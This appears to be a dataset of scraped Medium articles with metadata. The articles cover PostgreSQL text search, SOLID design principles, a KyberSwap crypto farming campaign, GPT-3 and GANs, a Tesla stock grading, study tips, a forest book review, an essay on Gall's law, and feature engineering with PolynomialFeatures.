CREATE EXTENSION pg_trgm;
Full Text Search:
Full Text Searching (or just text search) provides the capability to identify natural-language documents that satisfy a query.
I won’t go into details here but here is the basic usage:
select id, name from event
where to_tsvector('english', name) @@ phraseto_tsquery('market:*'); 34 | Preparation of the marketing
67 | Online market launch
The goal is to bring up results that are lexically close to our search. We can see it as a conventional “LIKE ‘%my_search%’” but at the grammatical level. (The real advantage is that it is much more effective than a traditional “LIKE” but we see that in the next part.)
Similarity:
select * from similarity('market', 'marketing'); 1 | 0.54
similarity(text, text) returns a number that indicates how similar the two arguments are. Knowing that the closer the number is to 1, the more the two arguments match.
You can use the ‘%’ operator that will bring up searches that have a similarity higher than 0.3 (by default):
select id, name, similarity(name, 'market') from event
where (name % 'market'); 12 | Market | 1
13 | Mark | 0.5
45 | Mars | 0.42
57 | Black Market | 0.38
You can change the default similarity value with:
SET pg_trgm.similarity_threshold = 0.2 ALTER DATABASE db SET pg_trgm.similarity_threshold FROM CURRENT; --To persist the configuration and not just for the session
The combination of text search and similarity:
select id, name from event WHERE (to_tsvector(name) @@ phraseto_tsquery('market:*')) or ('market' % search); 34 | Preparation of the marketing
67 | Online market launch
12 | Market
13 | Mark
45 | Mars
57 | Black Market
The goal here is to combine the two queries to add fuzzyness to our search. Specifically, we will be able to retrieve results that are grammatically close and similar. We will see right after that it will be very useful to combine the two queries to determine the order and the accuracy of the results. | https://medium.com/@corentinvilain35/use-postgresql-instead-of-elasticsearch-when-you-dont-really-need-it-b9b9969c21a6 | ['Corentin Vilain'] | 2021-04-26 20:40:58.654000+00:00 | ['Postgres', 'Data', 'Development', 'Elasticsearch', 'Full Text Search'] |
SOLID Principles of Object-Oriented programming. | Single Responsibility Principle
This is about the separation of concerns. A class should only have a single responsibility.
Another way to define this is that “a class or module should have one, and only one, reason to be changed”, this is because the class is supposed to have, as mentioned, only one responsibility. This will lead us to have a better understanding of objects’ responsibilities, it will be easier to find bugs and also our code will be way less error-prone when changes have to be done.
We could have the following code:
SRP violation
Above we can see that Employee not only has the responsibility to show its info but also to validate format for some of its attributes. We are adding extra responsibility to the class, then we violate SRP.
Below you can see a code achieving the same goal but following SRP guides:
SRP
Now Employee is free of the responsibility to validate the email and Email is the one doing that. We clearly separated responsabilities.
Open-closed Principle
This sets an entity should be “open for extension, but closed for modification”, meaning that an entity’s behavior should not be modified but instead it should be extended.
The typical example for this is the geometric shape and the area calculation, check out the following example:
From above, what if we want to add at some point another geometric figure like a circle? We could say easily we create the new class Circle and then we modify area method from AreaCalculator class
For sure our need to have Circle is meet but can you see how ugly is now area method? We now receive a generic object and we need to check what kind of object it is. Additionally, what if we need to add more and more geometric figures? THat’s s reason to keep in mind the open-closed principle when coding. A better solution could be as follows
Now AreaCalculator is closed for modification, no matter what geometric figure we need to add, it will accept any that is confirming the new protocol GeometricFigure. Also, it is open for extension.
Liskov Substitution Principle
This is about an object being able to be substituted for its subtype without altering any functionality or behavior of the program.
Liskov principle not met
Above we can see that the notion of a square inheriting from the Rectangle is not good since the square’s width must be equal to the square’s height. That requires to add an extra step to validate the equality or any other workaround. This is a violation of Liskov principle since substituting base type (Rectangle) to its subtype (Square) alters the result, so a Square is not exactly a rectangle.
A solution for this could be abstract both Rectangle and Square to have a common parent with all the common methods and attributes.
Interface Segregation Principle
This is about segregating protocols to be more granular, so it is better to have many protocols than just one big protocol with many things.
If we define a big protocol, we potenitally end up having classes that conform to the protocol and depending on methods that they don’t use. Because of that, it is recommended to keep protocols small .. Also, a protocol could implement another protocol if needed.
A typical example of this is
We can see that we have a simpleATM which can’t provide the functionality to deposit money and since it is implementing ATM, it ends up having that method but not using it. There is a clear violation of the Interface segregation principle.
The solution as mentioned is to have a more granular ATM definition and should be something as follows
Dependency Inversion Principle
This principle says that high-level modules should not depend on low-level modules. Both should depend on abstractions. This adds anabstraction and both the high and low-level modules depend on abstraction. Also the abstraction should not depend on details, instead, details should depend on abstraction.
Above we can see a high-level class Notifier class depending on a low-level class NotificationReceiver, calling its method receiveNotification. That way if for any reason we need to change NotificatonReceiver, we also would need to change Notifier.
To invert this dependency we can create a protocol Receiver and have both Notifier and NotificationReceiver depending on it.
Now Notifier expects any entity conforming Receiver protocol, so now it does not depend specifically on NotificationReceiver. | https://matiasdim.medium.com/solid-principles-of-object-oriented-programming-e58e2c63a246 | ['Matias Gil E'] | 2020-12-07 15:35:27.967000+00:00 | ['Coding', 'Swift', 'Good Practices', 'Solid', 'iOS'] |
KyberSwap Partners with Sipher on $50 Million Liquidity Mining Campaign to Provide the Best Liquidity and Rates for the SIPHER token | KyberSwap Partners with Sipher on $50 Million Liquidity Mining Campaign to Provide the Best Liquidity and Rates for the SIPHER token
KyberSwap is a next-gen DEX aggregator and liquidity protocol that achieves the best rates for traders through liquidity aggregation, while providing capital-efficient and higher returns for liquidity providers via amplified pools and dynamic fees.
Kyber has been increasing both the number and liquidity of key token-pair pools on KyberSwap. One of our key initiatives is working with very promising projects such as Sipher to incentivize users and boost liquidity together!
Sipher Collaboration with $50M in Rewards
These joint initiatives with popular projects on Ethereum continue with a whopping ~$50M+ liquidity mining campaign with Sipher — one of the biggest GameFi campaigns ever!
Sipher is a MOBA and Exploration Game with an end-game goal of creating an Open World Social Game. Based on ERC-721, the 1st collection of 10,000 characters, Sipherian Surge, belongs to the SIPHER INU race, with more races to be added over time. Sipher recently raised $6.8M in a private sale and over $44M in a public sale.
Sipher’s Vision:
SIPHER Token: $SIPHER is the token at the center of Sipheria, serving important functions like the creation of new characters, payment of market transaction fees, allowing the purchase of specialty items, and more. However, its functions extend beyond that. $SIPHER will provide players with a unique opportunity to participate in the governance of the game, helping shape the future of Sipheria.
KyberSwap allows $SIPHER LPs to maximise the use of capital via:
Amplified Liquidity Pools with extremely high capital efficiency; less tokens required to achieve better liquidity and rates compared to AMMs.
with extremely high capital efficiency; less tokens required to achieve better liquidity and rates compared to AMMs. Dynamic Fees that react to market conditions and optimize returns for LPs.
that react to market conditions and optimize returns for LPs. Better Reliability & Security: Audited by ChainSecurity and insured up to $20M by Unslashed Finance.
Add liquidity on KyberSwap now!
Trade at the Best Rates on KyberSwap
KyberSwap guarantees much better rates on Ethereum for $SIPHER traders compared to trading on individual DEXs. This is possible via Dynamic Trade Routing which aggregates liquidity from multiple DEXs, including our own capital-efficient KyberSwap pools!
Liquidity providers can now add any amount of liquidity to the eligible SIPHER-ETH pool on KyberSwap on Ethereum to get liquidity provider (LP) tokens and unlock their share of the $50M in liquidity mining rewards over the next two months.
KNC rewards received can be added on KNC liquidity pools or KyberDAO for additional KNC rewards or on KrystalGO for their token sale allocations.
Important Details
Start time for KNC rewards: block 13801200. ~12:00PM GMT+7 14/12/2021
End time for KNC rewards: block 14401200 (~3 months later)
Start time for SIPHER rewards: ~12:00PM GMT+7 14/12/2021
End time for SIPHER rewards: ~12:00PM GMT+7 14/12/2022 (~1 year later)
Rewards: 150,000 KNC and 50,000,000 SIPHER (~$50M in total)
Campaign Duration: 12 months for SIPHER rewards, 3 months for KNC rewards. After 3 months (once all KNC rewards are distributed), users still have to continue staking in the KyberSwap farm to mint the staked LP token that allows them to claim SIPHER rewards on the Sipher portal.
Vesting: 14 days for KNC, 12 months for SIPHER
SIPHER-ETH Pool: https://kyberswap.com/#/pools/0x9F52c8ecbEe10e00D9faaAc5Ee9Ba0fF6550F511/ETH
SIPHER Token Address: 0x9f52c8ecbee10e00d9faaac5ee9ba0ff6550f511
SIPHER Coingecko: https://www.coingecko.com/en/coins/sipher
Campaign Structure
~12-month campaign with $50M in rewards (3 months for the KNC rewards portion)
Although the start time for yield farming rewards is ~12:00PM GMT+7 14/12/2021, liquidity providers can already start adding liquidity to the SIPHER-ETH pool now to start preparing!
How to Farm $SIPHER and $KNC
Visit KyberSwap.com Make sure you are on the Ethereum network and have some ETH tokens for gas transaction fees on Ethereum.
3. Visit the Pools page and add liquidity (deposit SIPHER + ETH tokens) into the eligible SIPHER-ETH pool, which has a green raindrop 💧 icon. You will receive Liquidity Provider (LP) tokens representing your pool share after you add liquidity.
4. Next, go to the Farm page and click Approve on the SIPHER-ETH farm. Once approved, stake your LP tokens on the SIPHER-ETH farm.
You can just click MAX if you want to stake all your LP tokens. You will receive a new Kyber Staked LP Token or SLP that represents your staked LP position.
5. For KNC rewards, you will start receiving them immediately on KyberSwap.com (after the start time of ~12:00PM GMT+7 14/12/2021), and they can be harvested anytime.
6. Yield farming SIPHER rewards is a little more special. After staking your LP tokens, you will receive another Kyber Staked LP (SLP) token representing your staked SIPHER LP position. This special token can then be deposited on the Sipher portal https://sipher.xyz/stake/deposit/kyber-slp-sipher-eth to generate SIPHER rewards, which also have to be claimed there.
~$50M in liquidity incentives will be distributed in total!
Visit the Sipher portal: https://sipher.xyz/stake/deposit/kyber-slp-sipher-eth, connect your wallet and APPROVE your tokens for staking. Choose between the Flexible or Locked option. Stake your Kyber SLP tokens there to start earning SIPHER rewards!
Read more about staking Kyber Staked LP tokens (SLP) on the Sipher portal: https://atlas.sipher.xyz/sipher-staking-instructions
More details here: https://medium.com/sipherxyz/sipher-staking-instructions-b96d900a5d5c
7. After receiving KNC rewards on KyberSwap, you can Harvest your KNC rewards whenever you want. When you harvest KNC rewards, a 14-day vesting period starts, with rewards unlocking at every block.
8. Go to the Vesting tab to claim rewards once they are unlocked. Claim all unlocked KNC rewards after the vesting period of 14 days. Unlocked rewards can be claimed anytime.
9. For SIPHER rewards, they have to be claimed on the Sipher portal https://sipher.xyz/stake/deposit/kyber-slp-sipher-eth. Remember, to generate SIPHER rewards, you need to have first staked your Kyber SLP tokens (the new token you receive when you stake KyberSwap LP tokens on the KyberSwap farm) on the Sipher portal.
10. To Remove liquidity: First unstake your LP tokens on the KyberSwap Farm page, then go to the My Pools page to view and remove your liquidity position. For more details, read this guide on how to remove liquidity.
Watch this example video for detailed instructions on Yield Farming!
As mentioned above, KNC rewards received can be staked on KNC pools or KyberDAO for additional KNC rewards or on KrystalGO for exclusive Token Sale allocations.
You can also trade $SIPHER, $USDC, $USDT, $ETH and many other tokens at the best rates by navigating to the ‘Swap’ page. Read this user guide on how to use KyberSwap! If you have questions, join our Discord.
“KyberSwap is excited to collaborate with the Sipher team to give the best token swap rates for $SIPHER and support users to start this new blockchain game more seamlessly. We expect GameFi to continue to grow at an extremely fast pace and become a driving force behind mainstream crypto adoption.” — Loi Luu, CEO and Co-Founder, Kyber Network
We look forward to working closely with the Sipher team on future collaborations!
Spread the love! https://twitter.com/KyberNetwork/status/1470380012758913026
About Sipher
Sipher is a casual MOBA and Exploration Game with an end-game goal of creating an Open World Social Game. Built as ERC-721 Blockchain, the 1st collection of 10,000 characters, namely Sipherian Surge, belongs to the SIPHER INU race.
Website | Discord | Twitter | Medium | https://blog.kyber.network/sipher-partners-with-kyberswap-on-50-million-liquidity-mining-campaign-to-provide-the-best-1cb5b9d6f44 | ['Kyber Network'] | 2021-12-28 04:28:45.083000+00:00 | ['Crypto', 'Blockchain', 'English', 'Featured', 'Ethereum'] |
AI Has Become So Human, That You Can’t Tell the Difference | AI Has Become So Human, That You Can’t Tell the Difference
The truth about machines, and their ability to blend with us
You might be wondering if machines are a threat to the world we live in, or if they’re just another tool in our quest to improve ourselves. If you think that AI is just another tool, you might be surprised to hear that some of the biggest names in technology have a clear concern for it. As Mark Ralston wrote, “The great fear of machine intelligence is that it may take over our jobs, our economies, and our governments”.
If you disagree with this idea, that’s OK, because I didn’t write the previous paragraph. An Artificial Intelligence (AI) solution did. I used a tool called GPT-2 to synthetically generate that text, just by feeding it with the subtitle of this article. Looks pretty human, doesn’t it?
Using GPT-2, you can synthetically generate text (highlighted in blue) just by providing an initial input (marked in red). Source: Transformer Hugging Face
GPT-2 is a text-generation system launched by OpenAI (an AI company founded by Elon Musk) that has the ability to generate coherent text from minimal prompts: feed it a title, and it will write a story, give it the first line of a poem and it’ll supply a whole verse. To explore some of its capabilities, take a look at Fake Fake News, a site that uses GPT-2 to generate satire news articles in categories like politics, sports or entertainment.
But the big breakthrough happened this year when OpenAI launched the next generation of GPT-2 (called GPT-3): a tool that is so real, that can figure out how concepts relate to each other, and discern context. From an architecture perspective, GPT-3 is not an innovation at all: it simply takes a well-known approach from machine learning like artificial neural networks, and trains them with data from the internet. The real novelty comes from its massive size: with 175 billion parameters, it’s the largest language model ever created, trained on the largest dataset of any language model.
Example of GPT-3 to create an email message. Source: WT.Social
Having the ability to be ‘re-programmed’ for general tasks with very little fine-tuning, GPT-3 seems to be able to do just about anything by conditioning it with a few examples: you can ask it to be a translator, a programmer, a poet, or a famous author, and it can do it with fewer than 10 training examples. If you’re interested in knowing its performance, The Guardian proved it could synthetically write a whole news article based on an initial statement, taking less time to edit than many human articles.
More than words
Take a look at the image below. What do you think of this apartment? Would you consider renting it?:
Looks good, right? Well, there’s one minor detail, and it’s that the place doesn’t exist. The whole publication was made by an AI and is not real. None of the pictures, nor the text, came directly from the real world. The listing titles, the descriptions, the picture of the host, even the pictures of the rooms. Trained with millions of pictures of bedrooms, millions of pictures of people, and hundreds of thousands of Airbnb listings, the AI solution from thisrentaldoesnotexist.com was able to create this result. You can try it yourself if you want.
These fake images were produced using Generative Adversarial Networks (GANs for short), which are artificial neural networks capable of producing new content. GANs are an exciting innovation in AI which can create new data instances that resemble the training data, widely used in image, video and voice generation.
Some examples of edits performed by GANPaint Studio over the yellow areas
GANs contain a “generator” neural network and a “discriminator” neural network which interact in the following way:
The generator produces fake data samples to mislead the discriminator, while the discriminator tries to determine the difference between the fake and real data, evaluating them for authenticity.
By iterating through this cycle the goal is that the two networks get better and better until a generator that produces realistic outputs is created (generating plausible examples). Because the discriminator “competes” against the generator, the system as a whole is described as “adversarial”.
Example of a GAN training process. At the end, the distributions of the real (in green) and fake samples (in purple) converge. Source: GAN Lab
Also, GANs have some special capabilities: the data used for training them doesn’t need to be labelled (as the discriminator can judge the output of the generator based entirely on the training data itself), and adversarial networks can be used to efficiently create training datasets for other AI applications. GANs are definitely one of the most interesting concepts in modern AI, and we will see more exciting applications in the coming years.
Final thoughts
I know it’s shocking, but there’s no reason to be scared (at least not yet) by these technologies. None of the examples provided are magical, and they are the result of scientific research that can be explained and understood. Above all, although some AI outputs can give all the appearance of being “intelligent”, they are still very far away from any human cognition process.
GPT-3 possesses no internal representation of what words actually mean, and lacks the ability to reason abstractly. Also, it can lose coherence over sufficiently long passages, contradict themselves, and occasionally contain non-sequitur sentences or paragraphs. GPT-3 is a revolutionary text predictor, but not a threat to human kind.
On the other hand, GANs need a wealth of training data to get started: without enough pictures of human faces, a GAN won’t be able to come up with new faces. They also frequently fail to converge and can be really unstable, since a good synchronization is required between the generator and the discriminator; and once a model is generated, it lacks the generalization capabilities to tackle different types of problems. They can also have problems counting, understanding perspective and recognizing global structures.
No single breakthrough will completely change the world we live in, but we’re witnessing such a massive change in the way we interact with technology that we should prepare ourselves for the world to come. My suggestion is: learn about these technologies. It will ease your way across these extraordinary times. | https://medium.com/ai-in-plain-english/ai-has-become-so-human-that-you-cant-tell-the-difference-d62ed2f22775 | ['Diego Lopez Yse'] | 2020-09-18 21:03:15.534000+00:00 | ['Artificial Intelligence', 'Machine Learning', 'NLP', 'Data Science', 'Digital'] |
Tesla to the Moon? | This week, I use AAII’s A+ Stock Grades to give you insights into a popular technology stock that has a huge investor following and is the newest member of the S&P 500 index: Tesla Inc. (TSLA).
Electric Vehicle Cult Stock’s Entry Into the S&P 500
This week marked the first trading day for Tesla as a component of the S&P 500. Last Friday saw a big jump in the electric carmaker’s shares, as index funds that track the S&P 500 began preparing to purchase billions of dollars’ worth of Tesla stock to match their holdings with the large-cap index. It was the largest rebalancing in the history of the S&P 500.
According to the Associated Press, in the middle of last year, Tesla’s losses were piling up, sales weren’t enough to cover expenses and big debt payments loomed. The situation was so bad that one influential Wall Street analyst raised the possibility that Tesla wouldn’t be able to pay its bills and would have to be restructured. Since then, even after a recent pullback, the electric car and solar panel company’s shares have skyrocketed, up more than 675% year to date.
An enthusiastic investor base has helped boost Tesla higher and higher in recent months, even though the relentless rise sometimes defies fundamental metrics. Many analysts warn that Tesla shares are vulnerable to a pullback following their nearly sevenfold increase this year, mostly since the company has not posted similarly strong financial results. Tesla is the most heavily shorted stock in the world with more than $34 billion in short interest. That amount of short interest is three times more than the second most shorted stock, Apple Inc. (AAPL). Short sellers have been taking a thumping all year.
Tesla’s rise to become the world’s most valuable automaker and ranking among the top 10 largest U.S. companies in the S&P 500 is a remarkable achievement considering that the company lost $1.1 billion in the first half of 2019. The increase was so spectacular that even CEO Elon Musk has said the shares are overpriced.
Tesla’s market cap has grown to be nearly the size of the entire legacy auto market, despite the fact that Tesla represents only a small fraction of global auto sales. Based on Monday’s market close, Tesla is worth more than Toyota, Volkswagen, General Motors, Ford, Fiat Chrysler, Nissan and Daimler combined.
Tesla’s Potential to Change the World
Tesla designs, develops, manufactures and sells high-performance fully electric vehicles and components, as well as a full suite of renewable energy products, including solar, storage and grid services. Tesla sells and services its vehicles through a company-owned network in North America, Europe and Asia.
Tesla reported that it produced over 145,000 vehicles and delivered nearly 140,000 vehicles during the third quarter, up 51% and 44% year over year, respectively. Tesla expects to deliver 500,000 vehicles this year driven by the Model Y, an electric crossover utility vehicle, and continued strong demand in China.
Tesla has the potential to “change the world” with long-range electric vehicle technology, autonomous driving technology and battery technology that can store the solar energy its products generate. However, mass adoption of electric vehicles by consumers could be many more years away than the company expects. Some of the key risks facing Tesla include government regulation of autonomous driving and potential capital raises. Tesla is also entering a major capital expenditure cycle with the construction of new factories in Texas and Germany, which could weigh on near-term free cash flow.
Grading Tesla With AAII’s A+ Stock Grades
When analyzing a company, it is useful to have an objective framework that allows you to compare companies in the same way. This is one reason why AAII created the A+ Stock Grades, which evaluate companies across five factors that have been shown to identify market-beating stocks in the long run: value, growth, momentum, earnings estimate revisions (and surprises) and quality. Using AAII’s A+ Stock Grades, let’s evaluate how attractive Tesla is based on its fundamentals.
The following table summarizes the stock grades for Tesla, an electric vehicle and renewable energy company.
Tesla’s Growth Grade
Tesla has a strong A+ Growth Grade of B. The Growth Grade considers both the near- and longer-term historical growth in revenue, earnings per share and operating cash flow.
By and large, Tesla has exhibited solid growth in its latest fiscal quarter and over the past five years. While sales dropped 49% year over year for the quarter ending September 30, 2020, the company managed to boost earnings by 125% and operating cash by 145%. All this data is available on the Grades tab of a stock’s A+ Stock Evaluator page. While not part of the Growth Grade, Tesla has managed triple-digit year-over-year earnings growth for each of the last three quarters.
While the company has been posting impressive quarterly growth, long-term earnings growth has been elusive for Tesla thus far, as it has contracted by an average of 15.6% a year over the past five years. However, sales have been growing by 50.4% a year, while cash from operations has been expanding by 113% a year over the past five years. Also, the company has seen earnings growth for its last two fiscal years, although this is not part of the Growth Grade calculation.
Tesla’s Quality Grade
A higher-quality stock possesses traits associated with upside potential and reduced downside risk. Backtesting of the Quality Grade shows that stocks with higher Quality Grades, on average, outperformed stocks with lower grades over the period from 1998 through 2019.
The Quality Grade is the percentile rank of the average of the percentile ranks of return on assets (ROA), return on invested capital (ROIC), gross profit to assets, buyback yield, change in total liabilities to assets, accruals, Z double prime bankruptcy risk (Z) and F-Score. The score is variable, meaning it can consider all eight measures or, should any of the eight measures not be valid, the valid remaining measures. To be assigned a Quality Score, though, stocks must have a valid (non-null) measure and corresponding ranking for at least four of the eight quality measures.
Tesla has a Quality Grade of C, putting it in the middle among all U.S.-listed stocks.
The company ranks poorly in terms of its return on invested capital, ranking in the 17th percentile of all U.S.-listed stocks, and in terms of buyback yield (the percentage change in the number of shares outstanding over the last year), ranking in the 27th percentile.
Tesla does rate well when it comes to its F-Score, a composite score of various fundamental factors used to evaluate a company’s overall financial strength. Tesla has an F-Score of 7 out of 9, which ranks in the 89th percentile.
Tesla’s Value Grade
Successful stock investing involves buying low and selling high, so stock valuation is an important consideration for stock selection.
Buying stocks that are going to go up typically means buying stocks that are undervalued in the first place, although momentum investors may argue that point.
With its stock up over 675% for the year, Tesla has a Value Grade of F, based on its score of 97, which is considered ultra-expensive. The company’s Value Score ranking is consistent across several traditional valuation metrics, with a score of 92 for the price-to-sales ratio, 95 for the price-to-free-cash-flow ratio and 97 for the price-to-book-value ratio (remember, the lower the score the better for value).
The Value Grade is the percentile rank of the average of the percentile ranks of the valuation metrics mentioned above along with the price-earnings ratio, enterprise-value-to-EBITDA (EV/EBITDA) ratio and shareholder yield.
In the A+ Investor database, Tesla does not have a price-earnings ratio. The company does have positive GAAP earnings over the trailing 12 months of $0.51 per share, which translates into a price-earnings ratio of 1,286.8 based on Monday’s closing price of $649.86. Based on Tesla’s Value Grade of F, value investors may take pause.
The Choice Is Yours
Whether Tesla fits in your portfolio is a personal decision. Are you a growth- or value-oriented investor? What is your time horizon? What is your risk tolerance? Answering these questions will also help you answer whether Tesla is a good investment.
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The stocks meeting the criteria of the approach do not represent a “recommended” or “buy” list. It is important to perform due diligence.
If you want an edge throughout this market volatility, become an AAII member. | https://medium.com/@aaii/tesla-to-the-moon-78f76d48b32b | ['American Association Of Individual Investors'] | 2020-12-23 21:21:23.869000+00:00 | ['Tesla', 'Personal Finance', 'Investing', 'Individual Investor', 'Apple'] |
3 Top Hacks To Becoming A Super Productive Student! | Hack 1: Time management
One of my favorite tips is to learn how to effectively manage your time. Before I implemented this step I would normally leave assignments till the last minute this meant most of my assignments would keep creeping up on me and before I knew it I had 3 essays due for the next day.
Effective time management can help organize your tasks and keep you on top of all your assignments.
I used a weekly planner and used it to write down all my weekly to-do lists, assignments I had been given and any extracurricular I was going to attend. The best part about a planner is that it de-clutters your mind and puts all your thoughts and tasks on paper so you can’t miss them.
Hack 2: Taking regular breaks
Photo by Lukas Blazek on Unsplash
Another huge issue I came across when studying is that I tended to sit down and tell myself I was about to work for the next three hours straight with no breaks just so I could get the work done.
The issue with this is that I tended to end up losing interest very fast and I would usually end up exhausted to the point where I wasn't learning anymore and I finished my study session hating the idea of work all the while knowing I had got very little work done.
The best hack I found to combat this was to take regular breaks. Everyone is different however I used to work for 45 mins and then take a 15 min break. This allowed my brain to reset and have a rest it also meant that I would procrastinate a lot less as I knew I was about to have a break soon and that I could scroll through my phone in that 15min break rather than when I am attempting to learn.
Moreover, it’s also important to spend your break time wisely. I would recommend leaving the place you are working so maybe go for a walk or play some Clash of clans in another room. This allows you to separate your workspace and recreational space. This means your brain begins to associate your study room with work and thus begins to concentrate more.
Hack 3: Eat Healthily
Photo by Josh Millgate on Unsplash
I would personally say this is the hardest of the three super hacks for more productive studying as most people tend to snack while working. I used to love having something sweet to nibble on while working like a Kit Kat or some other confectionary.
However, our brain like an engine, and if you give a car engine dirty fuel it won’t perform as well as it would if you gave it cleaner fuels. In the same way, if you give your brain poor nutrients it doesn’t work as well.
I found that the best fuels for my brain were water to keep it hydrated, Bananas to both satisfy my sweet tooth and provide one of my 5 days, and dried cranberries mainly cause I really enjoyed them. These foods helped to keep energy levels high which is especially useful when working as it stops you from dazing off or worrying about what’s for lunch.
conclusion:
Overall, Implementing these hacks can really boost productivity and make you a more efficient learner. I guarantee you if you just stay consistent and try these tips for at least 1 month you will see a significant difference in both your work and personal life. | https://medium.com/illumination/3-top-hacks-to-becoming-a-super-productive-student-cc2d409a7ff6 | ['Sam Davies'] | 2020-12-25 14:53:40.208000+00:00 | ['Productive', 'Studying', 'Productivity Hacks', 'Productivity', 'Students'] |
The Global Forest by Diana Beresford-Kroeger | Diana Beresford-Kroeger is a botanist and medical biochemist, an expert on the medicinal, environmental and nutritional properties of trees. Unsurprisingly, the book is rich in scientific detail about how trees germinate, grow, reproduce and fruit. But this is not just the biology of trees, it is about the life of trees and how they collectively form the Global Forest.
Just like human society, the forest is a place of communal life, full of rich interactions. Food is shared, knowledge passed on and sexual relations take place. This book deals with these interactions to a fascinating level of detail. The author is intensely knowledgeable about trees, perhaps as much as anyone on Earth. She is uniquely equipped to explain not only the biochemistry of the forest but how that is expressed as life.
We learn about the role of the oldest Mother trees and how they nurture the next generation. How the forest on land sustains the forest on the sea bed and what happens when that relationship is broken. We learn about how trees produce perfect foods for all the creatures of the forest including ourselves. We are invited to join the author’s indignation at the folly of cutting trees to satisfy our insatiable demand for paper.
Humanity has treated the global forest with utter disrespect. The author never hectors us about our collective behaviour, but she doesn’t need to. She represents the beauty, complexity and necessity of the forest so eloquently and effectively that we are just left to squirm in embarrassment at what we have done.
The book is composed of short four-page chapters, each dealing with an aspect of forest life. Each is a hymn, full of praise for the wonder of the forest. Considering how humanity has ripped through the global forest, the author could be forgiven some bitterness towards this destruction. But this never shows. Like the trees she loves, she stands tall and showers the reader with the blessings of her knowledge.
Website: https://dianaberesford-kroeger.com/
Wikipedia: https://en.wikipedia.org/wiki/Diana_Beresford-Kroeger | https://medium.com/@chrisjerrey/the-global-forest-by-diana-beresford-kroeger-4fde46fe916b | ['Chris Jerrey'] | 2021-01-23 20:05:27.322000+00:00 | ['Climate Change', 'Diana Beresford Kroeger', 'Book Review', 'Forest', 'Trees'] |
The Paradox of Scale | The Paradox of Scale
Netflix couldn’t build Netflix
There are a bunch of heroes in the digital world that are held up as aspirational examples in conversations about digital business, technology and ways of working. Netflix, Spotify, Uber, Amazon and a host of our favourite characters, but these myths can become damaging fictions.
Admired and respected as towering giants of our digital world, our hero companies emanate an almost mythical quality. The scale, power and inspiration they command are the stuff of legend. Glib statements about “business” distort their stories into gaudy two-dimensional caricatures whilst organisations seeking Digital Transformation aspire to emulate what they see in this theatre. Paradoxically our heroes would be the first to point out they wouldn’t be able to build themselves as they stand today.
Photo by YIFEI CHEN
Gall’s law has been on my mind lately. So much so that my partner has quoted it back to me — and she doesn’t work in tech, she works in the woods. Hopefully it’s that I communicated it well, but more likely it’s that she’s a very smart woman. For me it’s a statement that goes to the heart of why so many institutional IT projects cost a fortune and deliver little, with alarming regularity:
A complex system that works is invariably found to have evolved from a simple system that worked. A complex system designed from scratch never works and cannot be patched up to make it work. You have to start over with a working simple system. — John Gall (1975, p.71)
If you work with technology and your role includes the word “architect” (as mine sometimes does) your ears may well be burning.
The paradox of scale
I spend plenty of my time in conversations about microservices. API design, infrastructure, operations, architecture. If you’ve been there, you’ll have heard phrases like scheduling, circuit breakers, service discovery, distributed tracing, health checks, cenralised logging, mutual authentication, rolling deployments, traffic splitting, the list goes on.
When you consider that each of those can easily balloon into a couple of months of work, especially when they come “for free out-of-the-box”, a spot of arithmetic will tell you you could be looking at two years of peripheral work before you even think about the thing you’re actually trying to build.
Do you have a million users and a billion transactions? And do you have them today? Or are you just starting out with a new product? It’s easy to assume this stuff is critical to running production-quality systems and, you know what, it might be, but more likely it isn’t right now.
The question is not “whether”, but “when” these things are useful
Paradoxically, trying to build it all — to emulate our heroes on day one — is more likely to be disastrous. In Malcolm Gladwell’s re-examining of the story of David and Goliath, David refuses to put on the heavy battle armour of professional soldiers, preferring to fight with only a shepherd’s sling. David knew he couldn’t bear the weight of the armour and wouldn’t be at his best, potentially putting himself in even greater danger. As Malcolm Gladwell paraphrases it, "I've never worn armor before. You've got to be crazy."
The rise of the titans
Google is 20 years old, yet Google Cloud is only just starting to challenge AWS. Google boasts impressive infrastructure, tens of billions invested, including undersea cables and a global network estimated to carry 25% of the world’s Internet traffic. Only now are they offering this through Google Cloud. It’s been a long road. This is a far cry from the humble beginnings of 1998, when Google was an underdog search-engine beloved of 90s hipster-equivalents.
One does not simply build Google
20 years is a long time. Long enough to accumulate extraordinary experience, infrastructure and legacy. A long road with plenty of twists and turns along the way. I don’t know specifics, but I do know what life is like. Success is a messy business, exploratory, trying, failing, scratching your head, learning something new, trying to think different.
And so it’s been, I’ll bet, for all our heroes. They thought big, acted small, found a foothold and started journeying. For better for worse, for richer for poorer, in sunshine and in rain, wax on, wax off, they fixed the plumbing and built the roof, they put one foot in front of the other until today they stand towering in the world they helped to create. Where they stand now is (and continues to be) their journey, rather than their first port of call.
On becoming a hero
The thing no one ever tells us about standing on the shoulders of giants is that we first have to get up onto those shoulders. Looking at what our heroes do today and trying to copy it is a highly effective way to fail. First because it’s going to be expensive and take years, second because they are on their journeys and will keep moving in their own directions.
By the time we ever get there, they’ll be long gone
But if we shift our perspective and look, not at where they are today, but at how they got started and the way that they move, there’s a beautiful release. Now we don’t need to be dazzled by their scale, wondering how we could possibly be like that. Instead we can look at where we’re starting from, face the direction we want to go (which will be unique to each of us) and start putting one foot in front of the other. | https://medium.com/notbinary/the-paradox-of-scale-c0c6546c8c61 | ['David Carboni'] | 2019-06-28 16:58:16.340000+00:00 | ['Digital Transformation', 'Technology', 'Technology And Design', 'Scaleup'] |
The Art of Feature Engineering | One of the easiest ways to experiment with feature engineering is by using PolynomialFeatures available through Sci-Kit preprocessing module.
There are two important parameters to be aware of with PolynomialFeatures.
degree = you have the option of setting to which n degree of features you want to engineer. For instance, setting the degree = 2 means that the PolynomialFeatures will multiply each features by itself and against every other features. I personally find that interactive terms to the 2nd degree is sufficient when running linear regression but you can certainly explore by putting in a pipeline so you can GridSearch to find the most optimal n hyperparameter value. include_bias = You want to set this to False when using regular LinearRegression. Setting this to True essentially includes the y-intercept column which you do not want to do when running a regular LinearRegression out of sci-kit’s linear_model module.
One of the downsides of using PolynomialFeatures is the fast expansion of columns if you have a lot of features to begin with. One of the measures that you can take to reduce the number of features is by measuring the R2 score against the target variable. This way, you can quickly eliminate features that do not have strong predictive power.
Another method that I like to visit is to run the OLS summary using statsmodels.api module, which is another way you can run OLS in Python.
With OLS, unlike sklearn’s LinearRegression, you just have to remember to manually add in the y-intercept. After you fit the data, you can run the summary() method which produces the summary below.
P>|t| column provides the p-value of each features which can also can be used to determine the statistical significance of each features. So if you have features with p-value > 0.05, you can eliminate those from your feature selection and those with p-value < 0.05, you can keep them as part of features for your model.
